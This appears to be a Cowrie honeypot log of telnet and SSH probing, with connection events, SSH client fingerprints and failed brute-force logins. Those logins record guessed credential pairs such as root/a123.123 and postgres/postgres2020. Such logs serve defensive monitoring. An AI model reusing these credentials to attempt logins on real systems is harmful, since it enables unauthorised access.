{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":42606,"dst_ip":"10.17.0.5","dst_port":23,"session":"81768299d03f","protocol":"telnet","message":"New connection: 194.195.250.213:42606 (10.17.0.5:23) [session: 81768299d03f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:56.086813Z"}
{"eventid":"cowrie.session.closed","duration":36.31251335144043,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:57.868139Z","src_ip":"162.253.42.116","session":"986518e95940","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":42632,"dst_ip":"10.17.0.5","dst_port":23,"session":"387cb1577262","protocol":"telnet","message":"New connection: 194.195.250.213:42632 (10.17.0.5:23) [session: 387cb1577262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:17:58.459321Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":34190,"dst_ip":"10.17.0.5","dst_port":23,"session":"d870efc76603","protocol":"telnet","message":"New connection: 194.195.250.213:34190 (10.17.0.5:23) [session: d870efc76603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:00.878408Z"}
{"eventid":"cowrie.session.closed","duration":38.83919954299927,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:02.283640Z","src_ip":"194.195.250.213","session":"5fb6c23bc8d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.3987352848053,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:03.264201Z","src_ip":"162.253.42.116","session":"7a60e92fe7e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":34206,"dst_ip":"10.17.0.5","dst_port":23,"session":"323995f10d03","protocol":"telnet","message":"New connection: 194.195.250.213:34206 (10.17.0.5:23) [session: 323995f10d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:03.434173Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":54446,"dst_ip":"10.17.0.5","dst_port":23,"session":"62a2ea33f209","protocol":"telnet","message":"New connection: 162.253.42.116:54446 (10.17.0.5:23) [session: 62a2ea33f209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:03.883012Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":34220,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ef66aae279b","protocol":"telnet","message":"New connection: 194.195.250.213:34220 (10.17.0.5:23) [session: 9ef66aae279b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:04.439701Z"}
{"eventid":"cowrie.session.closed","duration":37.27536940574646,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:04.955997Z","src_ip":"185.26.126.47","session":"3856d556bb83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":42608,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad1ff587b4eb","protocol":"ssh","message":"New connection: 103.180.212.135:42608 (159.203.135.109:22) [session: ad1ff587b4eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:06.505882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:06.513827Z","src_ip":"103.180.212.135","session":"ad1ff587b4eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:06.702911Z","src_ip":"103.180.212.135","session":"ad1ff587b4eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres2020","message":"login attempt [postgres/postgres2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:07.848975Z","src_ip":"103.180.212.135","session":"ad1ff587b4eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":59238,"dst_ip":"10.17.0.5","dst_port":22,"session":"82a36b59ea8b","protocol":"ssh","message":"New connection: 102.213.34.99:59238 (10.17.0.5:22) [session: 82a36b59ea8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:08.178052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:08.182503Z","src_ip":"102.213.34.99","session":"82a36b59ea8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":34230,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec15a929d49e","protocol":"telnet","message":"New connection: 194.195.250.213:34230 (10.17.0.5:23) [session: ec15a929d49e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:08.288591Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:08.352367Z","src_ip":"102.213.34.99","session":"82a36b59ea8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:09.048568Z","src_ip":"103.180.212.135","session":"ad1ff587b4eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"123123","message":"login attempt [test2/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:09.061213Z","src_ip":"102.213.34.99","session":"82a36b59ea8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.12281107902527,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:09.072282Z","src_ip":"162.253.42.116","session":"30a1058c4eb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":60370,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b0784e0d782","protocol":"telnet","message":"New connection: 162.253.42.116:60370 (10.17.0.5:23) [session: 1b0784e0d782]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:09.241354Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:10.233095Z","src_ip":"102.213.34.99","session":"82a36b59ea8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":33540,"dst_ip":"10.17.0.5","dst_port":23,"session":"de229052989e","protocol":"telnet","message":"New connection: 162.253.42.116:33540 (10.17.0.5:23) [session: de229052989e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:10.431158Z"}
{"eventid":"cowrie.session.closed","duration":39.71221566200256,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:11.348565Z","src_ip":"194.195.250.213","session":"a61e722691c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45730,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3abeb3111b0","protocol":"ssh","message":"New connection: 159.203.92.129:45730 (159.203.135.109:22) [session: c3abeb3111b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:12.408853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:12.414432Z","src_ip":"159.203.92.129","session":"c3abeb3111b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:12.419319Z","src_ip":"159.203.92.129","session":"c3abeb3111b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anacnda3","password":"anacnda3","message":"login attempt [anacnda3/anacnda3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:12.431010Z","src_ip":"159.203.92.129","session":"c3abeb3111b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:13.437136Z","src_ip":"159.203.92.129","session":"c3abeb3111b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.79202914237976,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:14.686546Z","src_ip":"194.195.250.213","session":"0397e7d2ba1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.235.205","src_port":60622,"dst_ip":"159.203.135.109","dst_port":23,"session":"db4131a7ece0","protocol":"telnet","message":"New connection: 103.15.235.205:60622 (159.203.135.109:23) [session: db4131a7ece0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:15.488840Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":39946,"dst_ip":"10.17.0.5","dst_port":23,"session":"bde67f05f8a0","protocol":"telnet","message":"New connection: 162.253.42.116:39946 (10.17.0.5:23) [session: bde67f05f8a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:16.345706Z"}
{"eventid":"cowrie.session.closed","duration":35.923011779785156,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:17.265519Z","src_ip":"162.253.42.116","session":"c06dd68493e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.084853410720825,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:17.277093Z","src_ip":"162.253.42.116","session":"836fb3d34e30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.66348648071289,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:19.591615Z","src_ip":"162.253.42.116","session":"3fd3b6971304","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.50272583961487,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:19.862883Z","src_ip":"162.253.42.116","session":"9a7e1805193a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.664854526519775,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:19.945940Z","src_ip":"194.195.250.213","session":"0bce6b57f651","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":49808,"dst_ip":"10.17.0.5","dst_port":23,"session":"6963fbf69201","protocol":"telnet","message":"New connection: 162.253.42.116:49808 (10.17.0.5:23) [session: 6963fbf69201]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:25.008806Z"}
{"eventid":"cowrie.session.closed","duration":38.652817249298096,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:28.348306Z","src_ip":"194.195.250.213","session":"042ce10558bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":42108,"dst_ip":"10.17.0.5","dst_port":23,"session":"39bac1f661de","protocol":"telnet","message":"New connection: 194.195.250.213:42108 (10.17.0.5:23) [session: 39bac1f661de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:28.455419Z"}
{"eventid":"cowrie.session.closed","duration":35.966848850250244,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:29.981607Z","src_ip":"162.253.42.116","session":"9683d795ca23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":54968,"dst_ip":"10.17.0.5","dst_port":23,"session":"35f846968351","protocol":"telnet","message":"New connection: 162.253.42.116:54968 (10.17.0.5:23) [session: 35f846968351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:30.321374Z"}
{"eventid":"cowrie.session.closed","duration":37.326029539108276,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:33.375135Z","src_ip":"162.253.42.116","session":"09717464a106","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.032832622528076,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:34.119520Z","src_ip":"194.195.250.213","session":"81768299d03f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.06546068191528,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:34.584511Z","src_ip":"194.195.250.213","session":"bf741df803d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.810436487197876,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:36.269671Z","src_ip":"194.195.250.213","session":"387cb1577262","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.44149827957153,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:38.324367Z","src_ip":"162.253.42.116","session":"62a2ea33f209","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.085171937942505,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:38.963485Z","src_ip":"194.195.250.213","session":"d870efc76603","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":36822,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a43b0e31430","protocol":"telnet","message":"New connection: 162.253.42.116:36822 (10.17.0.5:23) [session: 3a43b0e31430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:39.650589Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":40520,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e0862f57e70","protocol":"telnet","message":"New connection: 194.195.250.213:40520 (10.17.0.5:23) [session: 2e0862f57e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:39.852306Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":40534,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8e8d77c6d2b","protocol":"telnet","message":"New connection: 194.195.250.213:40534 (10.17.0.5:23) [session: e8e8d77c6d2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:40.206466Z"}
{"eventid":"cowrie.session.closed","duration":38.21818947792053,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:41.652241Z","src_ip":"194.195.250.213","session":"323995f10d03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.557945251464844,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:42.997527Z","src_ip":"194.195.250.213","session":"9ef66aae279b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.01865863800049,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:43.259901Z","src_ip":"162.253.42.116","session":"1b0784e0d782","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":40536,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ab3b3d72ef0","protocol":"telnet","message":"New connection: 194.195.250.213:40536 (10.17.0.5:23) [session: 3ab3b3d72ef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:43.901840Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":47112,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb0f6edb6aba","protocol":"ssh","message":"New connection: 165.154.5.173:47112 (10.17.0.5:22) [session: bb0f6edb6aba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:44.135735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:44.141363Z","src_ip":"165.154.5.173","session":"bb0f6edb6aba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:44.356595Z","src_ip":"165.154.5.173","session":"bb0f6edb6aba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123.123","message":"login attempt [root/a123.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:45.253905Z","src_ip":"165.154.5.173","session":"bb0f6edb6aba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.98207402229309,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:45.413115Z","src_ip":"162.253.42.116","session":"de229052989e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.408947467803955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:18:45.897669Z","src_ip":"103.15.235.205","session":"db4131a7ece0","protocol":"telnet"}
